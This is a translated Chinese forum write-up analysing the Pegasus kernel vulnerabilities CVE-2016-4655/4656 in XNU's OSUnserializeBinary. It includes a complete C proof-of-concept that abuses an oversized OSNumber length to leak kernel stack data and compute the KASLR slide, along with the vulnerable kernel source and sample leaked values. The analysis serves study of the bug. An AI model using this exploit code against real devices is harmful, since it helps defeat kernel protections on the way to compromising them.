-
-
[翻译]Pegasus内核漏洞分析与利用(下)(CVE-2016-4655/CVE-2016-4656)
-
发表于: 2016-10-20 10:37 6216
-
case kOSSerializeNumber: bufferPos += sizeof(long long); if (bufferPos > bufferSize) break; value = next[1]; value <<= 32; value |= next[0]; o = OSNumber::withNumber(value, len); next += 2; break;
... else { sym = OSDynamicCast(OSSymbol, o); if (!sym && (str = OSDynamicCast(OSString, o))) { sym = (OSSymbol *) OSSymbol::withString(str); o->release(); o = 0; } ok = (sym != 0); }
case kOSSerializeObject: if (len >= objsIdx) break; o = objsArray[len]; o->retain(); isRef = true; break;
uint64_t kslide_infoleak(void) { kern_return_t kr = 0, err = 0; mach_port_t res = MACH_PORT_NULL, master = MACH_PORT_NULL; io_service_t serv = 0; io_connect_t conn = 0; io_iterator_t iter = 0; uint64_t kslide = 0; void *dict = calloc(1, 512); uint32_t idx = 0; // index into our data #define WRITE_IN(dict, data) do { *(uint32_t *)(dict + idx) = (data); idx += 4; } while (0) WRITE_IN(dict, (0x000000d3)); // signature, always at the beginning WRITE_IN(dict, (kOSSerializeEndCollection | kOSSerializeDictionary | 2)); // dictionary with two entries WRITE_IN(dict, (kOSSerializeSymbol | 4)); // key with symbol, 3 chars + NUL byte WRITE_IN(dict, (0x00414141)); // 'AAA' key + NUL byte in little-endian WRITE_IN(dict, (kOSSerializeEndCollection | kOSSerializeNumber | 0x200)); // value with big-size number WRITE_IN(dict, (0x41414141)); WRITE_IN(dict, (0x41414141)); // at least 8 bytes for our big numbe host_get_io_master(mach_host_self(), &master); // get iokit master port kr = io_service_get_matching_services_bin(master, (char *)dict, idx, &res); if (kr == KERN_SUCCESS) { printf("(+) Dictionary is valid! Spawning user client...\n"); } else return -1; serv = IOServiceGetMatchingService(master, IOServiceMatching("IOHDIXController")); kr = io_service_open_extended(serv, mach_task_self(), 0, NDR_record, (io_buf_ptr_t)dict, idx, &err, &conn); if (kr == KERN_SUCCESS) { printf("(+) UC successfully spawned! Leaking bytes...\n"); } else return -1; IORegistryEntryCreateIterator(serv, "IOService", kIORegistryIterateRecursively, &iter); io_object_t object = IOIteratorNext(iter); char buf[0x200] = {0}; mach_msg_type_number_t bufCnt = 0x200; kr = io_registry_entry_get_property_bytes(object, "AAA", (char *)&buf, &bufCnt); if (kr == KERN_SUCCESS) { printf("(+) Done! Calculating KASLR slide...\n"); } else return -1; #if 0 for (uint32_t k = 0; k < 128; k += 8) { printf("%#llx\n", *(uint64_t *)(buf + k)); } #endif uint64_t hardcoded_ret_addr = 0xffffff80003934bf; kslide = (*(uint64_t *)(buf + (7 * sizeof(uint64_t)))) - hardcoded_ret_addr; printf("(i) KASLR slide is %#016llx\n", kslide); return kslide; }
void *dict = calloc(1, 512); uint32_t idx = 0; // index into our data #define WRITE_IN(dict, data) do { *(uint32_t *)(dict + idx) = (data); idx += 4; } while (0)
<dict> <symbol>AAA</symbol> <number size=0x200>0x4141414141414141</number> </dict>
WRITE_IN(dict, (0x000000d3)); // signature, always at the beginning WRITE_IN(dict, (kOSSerializeEndCollection | kOSSerializeDictionary | 2)); // dictionary with two entries WRITE_IN(dict, (kOSSerializeSymbol | 4)); // key with symbol, 3 chars + NUL byte WRITE_IN(dict, (0x00414141)); // 'AAA' key + NUL byte in little-endian WRITE_IN(dict, (kOSSerializeEndCollection | kOSSerializeNumber | 0x200)); // value with big-size number WRITE_IN(dict, (0x41414141)); WRITE_IN(dict, (0x41414141)); // at least 8 bytes for our
host_get_io_master(mach_host_self(), &master); // get iokit master port kr = io_service_get_matching_services_bin(master, (char *)dict, idx, &res); if (kr == KERN_SUCCESS) { printf("(+) Dictionary is valid! Spawning user client...\n"); } else return -1;
serv = IOServiceGetMatchingService(master, IOServiceMatching("IOHDIXController")); kr = io_service_open_extended(serv, mach_task_self(), 0, NDR_record, (io_buf_ptr_t)dict, idx, &err, &conn); if (kr == KERN_SUCCESS) { printf("(+) UC successfully spawned! Leaking bytes...\n"); } else return -1;
IORegistryEntryCreateIterator(serv, "IOService", kIORegistryIterateRecursively, &iter); io_object_t object = IOIteratorNext(iter);
char buf[0x200] = {0}; mach_msg_type_number_t bufCnt = 0x200; kr = io_registry_entry_get_property_bytes(object, "AAA", (char *)&buf, &bufCnt); if (kr == KERN_SUCCESS) { printf("(+) Done! Calculating KASLR slide...\n"); } else return -1;
for (uint32_t k = 0; k < 128; k += 8) { printf("%#llx\n", *(uint64_t *)(buf + k)); }
0x4141414141414141 // our valid number 0xffffff8033c66284 // 0xffffff8035b5d800 // 0x4 // other data on the stack between our valid number and the ret addr... 0xffffff803506d5a0 // 0xffffff8033c662b4 // 0xffffff818d2b3e30 // 0xffffff80037934bf // function return address ...
/* Routine io_registry_entry_get_property */ kern_return_t is_io_registry_entry_get_property_bytes( io_object_t registry_entry, io_name_t property_name, io_struct_inband_t buf, mach_msg_type_number_t *dataCnt ) { OSObject * obj; OSData * data; OSString * str; OSBoolean * boo; OSNumber * off; UInt64 offsetBytes; unsigned int len = 0; const void * bytes = 0; IOReturn ret = kIOReturnSuccess; CHECK( IORegistryEntry, registry_entry, entry ); #if CONFIG_MACF if (0 != mac_iokit_check_get_property(kauth_cred_get(), entry, property_name)) return kIOReturnNotPermitted; #endif obj = entry->copyProperty(property_name); if( !obj) return( kIOReturnNoResources ); // One day OSData will be a common container base class // until then... if( (data = OSDynamicCast( OSData, obj ))) { len = data->getLength(); bytes = data->getBytesNoCopy(); } else if( (str = OSDynamicCast( OSString, obj ))) { len = str->getLength() + 1; bytes = str->getCStringNoCopy(); } else if( (boo = OSDynamicCast( OSBoolean, obj ))) { len = boo->isTrue() ? sizeof("Yes") : sizeof("No"); bytes = boo->isTrue() ? "Yes" : "No"; } else if( (off = OSDynamicCast( OSNumber, obj ))) { /* j: reading an OSNumber */ offsetBytes = off->unsigned64BitValue(); len = off->numberOfBytes(); bytes = &offsetBytes; #ifdef __BIG_ENDIAN__ bytes = (const void *) (((UInt32) bytes) + (sizeof( UInt64) - len)); #endif } else ret = kIOReturnBadArgument; if( bytes) { if( *dataCnt < len) ret = kIOReturnIPCError; else { *dataCnt = len; bcopy( bytes, buf, len ); } } obj->release(); return( ret ); }
... else if( (off = OSDynamicCast( OSNumber, obj ))) { offsetBytes = off->unsigned64BitValue(); /* j: the offsetBytes variable is allocated on the stack */ len = off->numberOfBytes(); /* j: this reads out our malformed length, 0x200 */ bytes = &offsetBytes; /* j: bytes* ptr points to a stack variable */ ... } ...
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
赞赏记录
参与人
雪币
留言
时间
飘零丶
为你点赞~
2024-5-31 07:55
shinratensei
为你点赞~
2024-5-31 07:46
一笑人间万事
为你点赞~
2023-2-19 06:31
赞赏
他的文章
- 自我净化 5495
- Pixel4刷入KernelSU后Frida和VPN抓包配置 7300
- 一道花指令标准算法SO还原题 4449
- MobileCTF项目简单easyso算法还原 3973
- Frida hook/invoke iOS以及内存搜刮和黑盒调用 7505
看原图
赞赏
雪币:
留言: